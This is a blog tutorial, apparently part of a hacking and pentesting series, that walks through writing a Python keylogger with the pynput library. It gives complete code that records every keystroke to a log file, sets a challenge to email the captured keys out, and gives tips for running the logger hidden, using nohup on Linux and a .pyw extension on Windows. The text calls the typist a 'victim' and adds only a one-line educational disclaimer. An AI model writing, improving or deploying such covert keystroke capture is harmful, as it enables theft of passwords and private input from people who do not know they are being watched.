Creating Your Own Keylogger

Creating Your Own Keylogger

Python Scripts For Hackers & Pentesters (Day 03)

·

4 min read

In this guide, we are going to learn how to code a very effective, yet precise keylogger using a third-party python module called pynput. In case if you don't know, a keylogger is a program that monitors keystrokes. A keylogger's basic functionality is to monitor keystrokes continuously and sent those keystrokes to a specific location, which can be either your email, or server or stored locally in your system.

Keyloggers are one of the most common tools in a Hacker’s toolbox. They are one of the most basic tools and are quite easy to make. In this module, we are going to learn how to code a very effective, yet precise keylogger.

Installing Required Libraries

Before we begin, we need to install a particular library, which we can do with the pip command

On Linux

$ sudo pip3 install pynput

On Windows

$ pip install pynput

With this out of the way, we can continue writing our code!

Implementing the Keylogger

Now that we have installed the required Python library, let’s import all the required packages.

# this will help us read the keystrokes as the user types in stuff
from pynput.keyboard import Key, Listener

Now let's define a function that takes the pressed key as a parameter and append it to a list

keys = []
def on_keypress(key):
    # appending the pressed key into the keys list
    keys.append(key)
    # iterate through each key in a list and call the log_keys function
    # which takes the key as an argument
    for key in keys:
        log_keys(key)

That's it for the function, now let's move to the next part of the program.

# a helper function which logs the pressed key into a file
def log_keys(key):
    # opening a file to append the pressed key
    with open("keys.log", 'a') as logfile:
        # removing unwanted strings from our pressed key
        key = str(key).replace("'", "")
        # check to see if the pressed key has a certain text/string
        # if true/ > 0 we replace it with the required value
        # otherwise we just append it into the file as it is
        if key.find("backspace") > 0:
            logfile.write(" backspcae ")
        elif key.find("space") > 0:
            logfile.write(" ")
        elif key.find("shift") > 0:
            logfile.write(" shift ")
        elif key.find("enter") > 0:
            logfile.write("\n")
        elif key.find("caps_lock") > 0:
            logfile.write(" capslock ")
        else:
            logfile.write(key)
        # finally we cleared our global keys list, so that we don't have key
        # duplicates appended in the file. the next time we press another key
        keys.clear()

In the above code, we defined a helper function name log_keys which takes the pressed key as a parameter. Inside the function, we open a file where we are going to append the pressed key. Next (key = str(key).replace("'", "")) We removed unwanted text from our key and save the new key into a variable named key. After that, we check to see if the new key has a certain text/string if true/ > 0 we replace it with the required value otherwise we just append it into the file as it is. Finally, we cleared our global keys list variable so that we don't have key duplicates appended in the file the next time we press another key. That's it for the log_keys function. Let's continue with our code

with Listener(on_press=on_keypress) as listener :
     listener.join()

Here we created an instance of a Listener which would be recording keystrokes and pass the function (on_keypress) we created as an argument. Then we use the .join() method to join it to the main program thread. Thus every time a key is pressed, the listener is triggered and it calls our function (on_keypress) which then calls the log_keys function which logs our keystrokes into the file.

Complete code on Githubkeybust3r

He is your challenge/task

  • improve the keylogger to send the logged keys to your email, instead of saving it in a file

  • Create another thread that listen for a certain keypress and exits the program

Be sure to share your code with us, through our telegram channel or Twitter

Stealthily Running our Python Keylogger

If you try to run the following program you can notice that it's not stealthy as we want, so to make it a bit more effective we can employ the following tricks.

On Linux/Unix

To run the code without anyone noticing, you can simply run it as:

$ nohup python3 keylogger.py &

This will let the code run even after the terminal closes while still recording the keystrokes!

On Windows

On Windows, you can simply rename the file extension from .py to .pyw and then double-click on the file to run it without a terminal popping up. The program then runs in the background, logging every key press henceforth.

Conclusion

Hence we coded a short yet effective Python Keylogger to record a victim’s keystrokes. However, it is strictly for educational purposes and it shouldn’t be used for malicious purposes.

References – Pynput module official documentation

Reader Feedback

Feedback from readers is always welcome. Let me know what you think about this guide—what you liked or disliked. Reader feedback is important for me as it helps me develop titles that I will get the most out of.

To send me general feedback, simply message me on Twitter twitter.com/xtremepentest.

Did you find this article valuable?

Support sysxplore by becoming a sponsor. Any amount is appreciated!